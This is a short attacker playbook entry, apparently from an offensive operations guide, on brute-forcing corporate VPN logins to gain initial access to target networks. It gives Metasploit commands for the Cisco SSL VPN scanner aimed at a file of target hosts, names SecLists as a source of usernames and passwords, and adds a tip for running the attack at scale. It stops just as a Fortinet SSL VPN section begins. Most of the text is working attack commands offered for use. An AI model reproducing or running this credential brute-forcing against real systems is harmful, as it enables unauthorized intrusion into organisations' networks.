Brute force common corporate VPNs to gain initial access to target networks. Install metasploit and then see Initial access TTPs for mass scanning ports. For this to work properly using a large IP host file will cause the module to hang for a very long time. To fix this split a large host file down into multiple sub files and run the module against smaller host files.

You can use Seclists for common usernames and passwords to brute-force with.

CISCO

sudo systemctl start postgresql
msfdb init
msfconsole
use auxiliary/scanner/http/cisco_ssl_vpn
set RHOSTS file:/home/targets_443.txt
set RPORT 443
set USER_FILE /home/users.txt
set PASS_FILE /home/pass.txt
set threads 10
run

FORTI SSL VPN

sudo systemctl start postgresql
msfdb init
